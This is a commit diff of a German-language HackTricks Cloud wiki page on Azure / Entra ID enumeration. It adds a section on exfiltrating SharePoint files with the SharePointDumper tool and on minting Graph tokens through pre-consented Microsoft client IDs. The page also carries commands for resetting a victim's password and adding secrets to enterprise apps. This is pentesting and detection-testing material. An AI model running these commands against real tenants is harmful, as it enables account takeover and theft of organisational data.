mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur
This commit is contained in:
@@ -4,11 +4,11 @@
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Azure Active Directory (Azure AD) dient als Microsofts cloudbasierter Dienst für Identitäts- und Zugriffsmanagement. Es ist entscheidend, um Mitarbeitern das Anmelden und den Zugriff auf Ressourcen sowohl innerhalb als auch außerhalb der Organisation zu ermöglichen, einschließlich Microsoft 365, dem Azure-Portal und einer Vielzahl anderer SaaS-Anwendungen. Das Design von Azure AD konzentriert sich darauf, wesentliche Identitätsdienste bereitzustellen, insbesondere **Authentifizierung, Autorisierung und Benutzerverwaltung**.
|
||||
Azure Active Directory (Azure AD) dient als Microsofts cloudbasierter Dienst für Identity und Access Management. Er ermöglicht Mitarbeitenden, sich anzumelden und auf Ressourcen innerhalb und außerhalb der Organisation zuzugreifen, einschließlich Microsoft 365, dem Azure portal und einer Vielzahl anderer SaaS-Anwendungen. Das Design von Azure AD konzentriert sich auf die Bereitstellung grundlegender Identitätsdienste, insbesondere **Authentifizierung, Autorisierung und Benutzerverwaltung**.
|
||||
|
||||
Zu den Hauptfunktionen von Azure AD gehören **Multi-Faktor-Authentifizierung** und **bedingter Zugriff**, sowie nahtlose Integration mit anderen Microsoft-Sicherheitsdiensten. Diese Funktionen erhöhen erheblich die Sicherheit der Benutzeridentitäten und ermöglichen es Organisationen, ihre Zugriffsrichtlinien effektiv umzusetzen und durchzusetzen. Als grundlegender Bestandteil des Ökosystems der Cloud-Dienste von Microsoft ist Azure AD entscheidend für das cloudbasierte Management von Benutzeridentitäten.
|
||||
Wesentliche Funktionen von Azure AD umfassen **Multi-Faktor-Authentifizierung** und **Conditional Access**, neben nahtloser Integration mit anderen Microsoft-Sicherheitsdiensten. Diese Funktionen erhöhen die Sicherheit von Benutzeridentitäten erheblich und ermöglichen es Organisationen, ihre Zugriffspolicies effektiv umzusetzen und durchzusetzen. Als grundlegende Komponente des Microsoft-Cloud-Ökosystems ist Azure AD zentral für die cloudbasierte Verwaltung von Benutzeridentitäten.
|
||||
|
||||
## Aufzählung
|
||||
## Enumeration
|
||||
|
||||
### **Verbindung**
|
||||
|
||||
@@ -96,6 +96,7 @@ Connect-AzAccount -Credential $creds
|
||||
|
||||
# Connect with access token
|
||||
Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken]
|
||||
# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token)
|
||||
|
||||
# Connect with Service principal/enterprise app secret
|
||||
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
|
||||
@@ -184,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Wenn Sie sich über die **CLI** bei Azure mit einem Programm anmelden, verwenden Sie eine **Azure-Anwendung** aus einem **Mandanten**, der zu **Microsoft** gehört. Diese Anwendungen, wie die, die Sie in Ihrem Konto erstellen können, **haben eine Client-ID**. Sie **werden nicht alle sehen können** in den **erlaubten Anwendungslisten**, die Sie in der Konsole sehen können, **aber sie sind standardmäßig erlaubt**.
|
||||
Wenn du dich mit einem Programm über die **CLI** bei **Azure** anmeldest, verwendest du eine **Azure Application** aus einem **Tenant**, der zu **Microsoft** gehört. Diese Applications, wie die, die du in deinem Account erstellen kannst, **haben eine client id**. Du **wirst nicht alle von ihnen sehen können** in den **allowed applications lists**, die du in der Konsole siehst, **aber sie sind standardmäßig erlaubt**.
|
||||
|
||||
Zum Beispiel verwendet ein **PowerShell-Skript**, das sich **authentifiziert**, eine App mit der Client-ID **`1950a258-227b-4e31-a9cf-717495945fc2`**. Selbst wenn die App nicht in der Konsole angezeigt wird, könnte ein Sysadmin **diese Anwendung blockieren**, sodass Benutzer nicht über Tools, die sich über diese App verbinden, darauf zugreifen können.
|
||||
Zum Beispiel verwendet ein **PowerShell-Skript**, das sich **authentifiziert**, eine App mit der client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Auch wenn die App nicht in der Konsole erscheint, könnte ein Sysadmin diese **Application blocken**, sodass Benutzer keinen Zugriff mit Tools erhalten, die sich über diese App verbinden.
|
||||
|
||||
Es gibt jedoch **andere Client-IDs** von Anwendungen, die **es Ihnen ermöglichen, sich mit Azure zu verbinden**:
|
||||
Es gibt jedoch **andere client-ids** von Applications, die **dir erlauben werden, dich mit Azure zu verbinden**:
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
@@ -363,9 +364,9 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
### MFA & Conditional Access Policies
|
||||
### MFA & Conditional Access-Richtlinien
|
||||
|
||||
Es wird dringend empfohlen, MFA für jeden Benutzer hinzuzufügen. Einige Unternehmen setzen es jedoch möglicherweise nicht oder setzen es mit einem Conditional Access: Der Benutzer wird **MFA erforderlich sein, wenn** er sich von einem bestimmten Standort, Browser oder **einer Bedingung** anmeldet. Diese Richtlinien können, wenn sie nicht korrekt konfiguriert sind, anfällig für **bypasses** sein. Überprüfen Sie:
|
||||
Es wird dringend empfohlen, MFA für jeden Benutzer zu aktivieren; einige Unternehmen setzen es jedoch nicht oder konfigurieren es über Conditional Access: Der Benutzer wird **MFA erforderlich, wenn** er sich von einem bestimmten Ort, Browser oder unter **bestimmten Bedingungen** anmeldet. Diese Richtlinien können, wenn sie nicht korrekt konfiguriert sind, anfällig für **bypasses** sein. Prüfe:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -373,7 +374,7 @@ Es wird dringend empfohlen, MFA für jeden Benutzer hinzuzufügen. Einige Untern
|
||||
|
||||
### Gruppen
|
||||
|
||||
Für weitere Informationen zu Entra ID-Gruppen siehe:
|
||||
Weitere Informationen zu Entra ID-Gruppen:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -482,21 +483,21 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
||||
|
||||
#### Benutzer zur Gruppe hinzufügen
|
||||
|
||||
Die Eigentümer der Gruppe können neue Benutzer zur Gruppe hinzufügen.
|
||||
Gruppenbesitzer können neue Benutzer zur Gruppe hinzufügen.
|
||||
```bash
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Gruppen können dynamisch sein, was im Grunde bedeutet, dass **wenn ein Benutzer bestimmte Bedingungen erfüllt, er zu einer Gruppe hinzugefügt wird**. Natürlich, wenn die Bedingungen auf **Attributen** basieren, die ein **Benutzer** **steuern** kann, könnte er diese Funktion missbrauchen, um **in andere Gruppen zu gelangen**.\
|
||||
> Überprüfen Sie, wie man dynamische Gruppen auf der folgenden Seite missbrauchen kann:
|
||||
> Gruppen können dynamisch sein, was im Grunde bedeutet, dass **ein Benutzer, wenn er bestimmte Bedingungen erfüllt, einer Gruppe hinzugefügt wird**. Natürlich, wenn die Bedingungen auf **Attributen** basieren, die ein **Benutzer** **kontrollieren** kann, könnte er diese Funktion missbrauchen, um **in andere Gruppen zu gelangen**.\
|
||||
> Wie man dynamic groups missbrauchen kann, siehe folgende Seite:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
### Dienstprinzipale
|
||||
### Service Principals
|
||||
|
||||
Für weitere Informationen über Entra ID-Dienstprinzipale siehe:
|
||||
Für weitere Informationen über Entra ID service principals siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -597,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Der Eigentümer eines Dienstprinzipals kann sein Passwort ändern.
|
||||
> Der Owner eines Service Principal kann dessen Passwort ändern.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Liste und versuche, ein Client-Geheimnis für jede Unternehmensanwendung hinzuzufügen</summary>
|
||||
<summary>Alle Enterprise Apps auflisten und versuchen, ein client secret bei jeder hinzuzufügen</summary>
|
||||
```bash
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
@@ -714,10 +715,10 @@ Für weitere Informationen zu Anwendungen siehe:
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
Wenn eine App generiert wird, werden 2 Arten von Berechtigungen vergeben:
|
||||
Wenn eine App erstellt wird, werden zwei Arten von Berechtigungen vergeben:
|
||||
|
||||
- **Berechtigungen**, die dem **Service Principal** gegeben werden
|
||||
- **Berechtigungen**, die die **App** im **Namen des Benutzers** haben und verwenden kann.
|
||||
- **Berechtigungen**, die dem **Service Principal** gewährt werden
|
||||
- **Berechtigungen**, die die **app** **im Namen des Benutzers** haben und verwenden kann
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -742,6 +743,33 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92
|
||||
# Get Cloud Applications Administrators (full access over apps)
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
|
||||
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
|
||||
## e.g.
|
||||
[
|
||||
{
|
||||
"resourceAccess": [
|
||||
{
|
||||
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
|
||||
"type": "Scope"
|
||||
},
|
||||
{
|
||||
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
|
||||
"type": "Role"
|
||||
}
|
||||
],
|
||||
"resourceAppId": "00000003-0000-0000-c000-000000000000"
|
||||
}
|
||||
]
|
||||
|
||||
## For the perms of type "Scope"
|
||||
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
|
||||
|
||||
## For the perms of type "Role"
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -792,17 +820,17 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Eine App mit der Berechtigung **`AppRoleAssignment.ReadWrite`** kann **zum Global Admin eskalieren**, indem sie sich selbst die Rolle zuweist.\
|
||||
> Für weitere Informationen [**hier überprüfen**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
> Eine App mit der Berechtigung **`AppRoleAssignment.ReadWrite`** kann sich selbst die Rolle gewähren und damit zum **Global Admin eskalieren**.\
|
||||
> Für weitere Informationen [**siehe hier**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
> Ein geheimer String, den die Anwendung verwendet, um ihre Identität bei der Anforderung eines Tokens zu beweisen, ist das Anwendungs-Passwort.\
|
||||
> Wenn Sie also dieses **Passwort** finden, können Sie als **Service Principal** **innerhalb** des **Mandanten** zugreifen.\
|
||||
> Beachten Sie, dass dieses Passwort nur sichtbar ist, wenn es generiert wird (Sie können es ändern, aber nicht erneut abrufen).\
|
||||
> Der **Besitzer** der **Anwendung** kann ihr **ein Passwort hinzufügen** (damit er sich als diese ausgeben kann).\
|
||||
> Anmeldungen als diese Service Principals sind **nicht als riskant gekennzeichnet** und sie **werden kein MFA haben.**
|
||||
> Eine geheime Zeichenfolge, die die application verwendet, um ihre Identität beim Anfordern eines Tokens nachzuweisen, ist das application password.\
|
||||
> Wenn du dieses **password** findest, kannst du dich als **service principal** **im** **tenant** anmelden.\
|
||||
> Beachte, dass dieses **password** nur bei der Erstellung sichtbar ist (du könntest es ändern, aber nicht erneut abrufen).\
|
||||
> Der **owner** der **application** kann ein **password** hinzufügen (damit er sie impersonate kann).\
|
||||
> Anmeldungen als diese service principals werden **nicht als riskant markiert** und sie **werden keine MFA haben.**
|
||||
|
||||
Es ist möglich, eine Liste von häufig verwendeten App-IDs, die zu Microsoft gehören, unter [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) zu finden.
|
||||
Es ist möglich, eine Liste häufig verwendeter App-IDs, die Microsoft gehören, unter [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) zu finden.
|
||||
|
||||
### Managed Identities
|
||||
|
||||
@@ -824,7 +852,7 @@ az identity list --output table
|
||||
|
||||
### Azure-Rollen
|
||||
|
||||
Für weitere Informationen zu Azure-Rollen siehe:
|
||||
Für weitere Informationen über Azure-Rollen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -909,7 +937,7 @@ Headers = @{
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Entra ID Rollen
|
||||
### Entra ID-Rollen
|
||||
|
||||
Für weitere Informationen zu Azure-Rollen siehe:
|
||||
|
||||
@@ -1032,12 +1060,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Wenn ein Gerät (VM) **AzureAD verbunden** ist, können Benutzer von AzureAD **einloggen**.\
|
||||
> Darüber hinaus, wenn der angemeldete Benutzer **Besitzer** des Geräts ist, wird er **lokaler Administrator** sein.
|
||||
> Wenn ein Gerät (VM) **AzureAD joined** ist, können Benutzer aus AzureAD sich **anmelden**.\
|
||||
> Außerdem, wenn der angemeldete Benutzer **Owner** des Geräts ist, ist er **local admin**.
|
||||
|
||||
### Administrative Einheiten
|
||||
|
||||
Für weitere Informationen zu administrativen Einheiten siehe:
|
||||
Für weitere Informationen zu Administrative Einheiten siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1072,13 +1100,60 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Entra ID Privilegieneskalation
|
||||
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
|
||||
|
||||
Angreifer mit einem **delegierten Microsoft Graph-Token**, das **`Sites.Read.All`** oder **`Sites.ReadWrite.All`** enthält, können **sites/drives/items** über Graph enumerieren und anschließend **Dateiinhalte** über **SharePoint pre-authentication download URLs** abrufen (zeitlich begrenzte URLs, die ein Access-Token einbetten). Das [SharePointDumper](https://github.com/zh54321/SharePointDumper)-Script automatisiert den kompletten Ablauf (Enumeration → pre-auth Downloads) und erzeugt pro Anfrage Telemetrie zum Testen von Erkennungsmechanismen.
|
||||
|
||||
### Obtaining usable delegated tokens
|
||||
|
||||
- SharePointDumper selbst **authentifiziert nicht**; liefere ein Access-Token (optional ein Refresh-Token).
|
||||
- Vorab zugestimmte **first-party clients** können missbraucht werden, um ohne Registrierung einer App ein Graph-Token zu erzeugen. Beispielaufrufe von `Invoke-Auth` (aus [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
|
||||
```powershell
|
||||
# CAE requested by default; yields long-lived (~24h) access token
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE)
|
||||
|
||||
# Other pre-consented clients
|
||||
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE)
|
||||
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE)
|
||||
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
|
||||
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
|
||||
```
|
||||
> [!NOTE]
|
||||
> FOCI TRUE-Clients unterstützen Refresh geräteübergreifend; FOCI FALSE-Clients benötigen oft `-Origin`, um die reply URL origin validation zu erfüllen.
|
||||
|
||||
### Ausführen von SharePointDumper für enumeration + exfiltration
|
||||
|
||||
- Einfacher dump mit custom UA / proxy / throttling:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
|
||||
```
|
||||
- Scope-Kontrolle: Ein-/Ausschluss von Sites oder Erweiterungen und globale Limits:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
|
||||
```
|
||||
- **Fortsetzen** unterbrochene Durchläufe (listet erneut auf, überspringt aber bereits heruntergeladene Elemente):
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
|
||||
```
|
||||
- **Automatische Token-Aktualisierung bei HTTP 401** (erfordert geladenes EntraTokenAid):
|
||||
```powershell
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
|
||||
```
|
||||
Betriebsnotizen:
|
||||
|
||||
- Bevorzugt **CAE-enabled** Tokens, um ein Ablaufen während der Ausführung zu vermeiden; Refresh-Versuche werden im API-Log des Tools **nicht** protokolliert.
|
||||
- Erzeugt **CSV/JSON request logs** für **Graph + SharePoint** und redactet eingebettete SharePoint-Download-Tokens standardmäßig (umschaltbar).
|
||||
- Unterstützt **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter** und **Ctrl+C-safe shutdown** für Traffic-Shaping während Detection/IR-Tests.
|
||||
|
||||
## Entra ID Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Azure Privilegieneskalation
|
||||
## Azure Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
@@ -1088,29 +1163,29 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) in Azure hilft, **übermäßige Berechtigungen** zu verhindern, die unnötig Benutzern zugewiesen werden.
|
||||
Privileged Identity Management (PIM) in Azure hilft dabei, dass Benutzern nicht unnötig **übermäßige Privilegien** zugewiesen werden.
|
||||
|
||||
Eine der Hauptfunktionen von PIM ist, dass es ermöglicht, Rollen nicht ständig aktiven Benutzern zuzuweisen, sondern sie **für einen bestimmten Zeitraum (z.B. 6 Monate)** berechtigt. Dann, wann immer der Benutzer diese Rolle aktivieren möchte, muss er sie anfordern und die Zeit angeben, für die er die Berechtigung benötigt (z.B. 3 Stunden). Dann muss ein **Admin die Anfrage genehmigen**.\
|
||||
Beachten Sie, dass der Benutzer auch die Möglichkeit hat, die Zeit zu **verlängern**.
|
||||
Eine der Hauptfunktionen von PIM ist, dass Rollen nicht ständig aktiven Principals zugewiesen werden müssen, sondern diese für einen Zeitraum **eligible** gemacht werden können (z. B. 6 Monate). Wenn ein Benutzer dann die Rolle aktivieren möchte, muss er sie anfordern und den benötigten Zeitraum angeben (z. B. 3 Stunden). Anschließend muss ein **Administrator die Anfrage genehmigen**.\
|
||||
Hinweis: Der Benutzer kann auch eine **Verlängerung** der Zeit anfragen.
|
||||
|
||||
Darüber hinaus **sendet PIM E-Mails**, wann immer eine privilegierte Rolle jemandem zugewiesen wird.
|
||||
Außerdem **sendet PIM E-Mails**, wann immer eine privilegierte Rolle an jemanden vergeben wird.
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn PIM aktiviert ist, ist es möglich, jede Rolle mit bestimmten Anforderungen zu konfigurieren, wie:
|
||||
Wenn PIM aktiviert ist, lässt sich jede Rolle mit bestimmten Anforderungen konfigurieren, z. B.:
|
||||
|
||||
- Maximale Dauer (Stunden) der Aktivierung
|
||||
- MFA bei Aktivierung erforderlich
|
||||
- Erfordert den Kontext der bedingten Zugriffsauthentifizierung
|
||||
- Erfordert eine Begründung bei Aktivierung
|
||||
- Erfordert MFA bei Aktivierung
|
||||
- Erfordert Conditional Access authentication context
|
||||
- Erfordert Begründung bei Aktivierung
|
||||
- Erfordert Ticketinformationen bei Aktivierung
|
||||
- Genehmigung zur Aktivierung erforderlich
|
||||
- Maximale Zeit bis zum Ablauf der berechtigten Zuweisungen
|
||||
- Viel mehr Konfigurationen, wann und an wen Benachrichtigungen gesendet werden, wenn bestimmte Aktionen mit dieser Rolle stattfinden
|
||||
- Erfordert Genehmigung zur Aktivierung
|
||||
- Maximale Zeit bis zum Ablauf der eligible assignments
|
||||
- Viele weitere Konfigurationen, z. B. wann und an wen Benachrichtigungen gesendet werden, wenn bestimmte Aktionen mit dieser Rolle passieren
|
||||
|
||||
### Bedingte Zugriffsrichtlinien
|
||||
### Conditional Access Policies
|
||||
|
||||
Überprüfen Sie:
|
||||
Check:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -1118,28 +1193,30 @@ Wenn PIM aktiviert ist, ist es möglich, jede Rolle mit bestimmten Anforderungen
|
||||
|
||||
### Entra Identity Protection
|
||||
|
||||
Entra Identity Protection ist ein Sicherheitsdienst, der es ermöglicht, **zu erkennen, wann ein Benutzer oder ein Anmeldeversuch zu riskant** ist, um akzeptiert zu werden, und es ermöglicht, den Benutzer oder den Anmeldeversuch zu **blockieren**.
|
||||
Entra Identity Protection ist ein Sicherheitsdienst, der ermöglicht, **zu erkennen, wann ein Benutzer oder ein Sign-in zu riskant** ist, um akzeptiert zu werden, und somit den Benutzer oder den Anmeldeversuch zu **blocken**.
|
||||
|
||||
Es ermöglicht dem Admin, es so zu konfigurieren, dass es Versuche blockiert, wenn das Risiko "Niedrig und darüber", "Mittel und darüber" oder "Hoch" ist. Obwohl es standardmäßig vollständig **deaktiviert** ist:
|
||||
Administratoren können konfigurieren, dass Versuche bei Risiko-Stufen wie "Low and above", "Medium and above" oder "High" **blockiert** werden. Standardmäßig ist der Dienst jedoch komplett **deaktiviert**:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Heutzutage wird empfohlen, diese Einschränkungen über bedingte Zugriffsrichtlinien hinzuzufügen, wo es möglich ist, die gleichen Optionen zu konfigurieren.
|
||||
> Heutzutage wird empfohlen, diese Einschränkungen über Conditional Access Policies hinzuzufügen, wenn möglich, da dort dieselben Optionen konfigurierbar sind.
|
||||
|
||||
### Entra Passwortschutz
|
||||
### Entra Password Protection
|
||||
|
||||
Entra Passwortschutz ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) ist eine Sicherheitsfunktion, die **hilft, den Missbrauch schwacher Passwörter zu verhindern, indem Konten gesperrt werden, wenn mehrere erfolglose Anmeldeversuche stattfinden**.\
|
||||
Es ermöglicht auch, eine **benutzerdefinierte Passwortliste zu sperren**, die Sie bereitstellen müssen.
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) ist eine Sicherheitsfunktion, die dabei hilft, den Missbrauch schwacher Passwörter zu verhindern, indem Konten nach mehreren fehlgeschlagenen Login-Versuchen gesperrt werden.\
|
||||
Sie erlaubt außerdem, eine benutzerdefinierte Liste gesperrter Passwörter bereitzustellen.
|
||||
|
||||
Es kann **sowohl** auf Cloud-Ebene als auch im lokalen Active Directory angewendet werden.
|
||||
Sie kann sowohl auf Cloud-Ebene als auch für das On-Premises Active Directory angewendet werden.
|
||||
|
||||
Der Standardmodus ist **Audit**:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Referenzen
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
|
||||
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
|
||||
- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user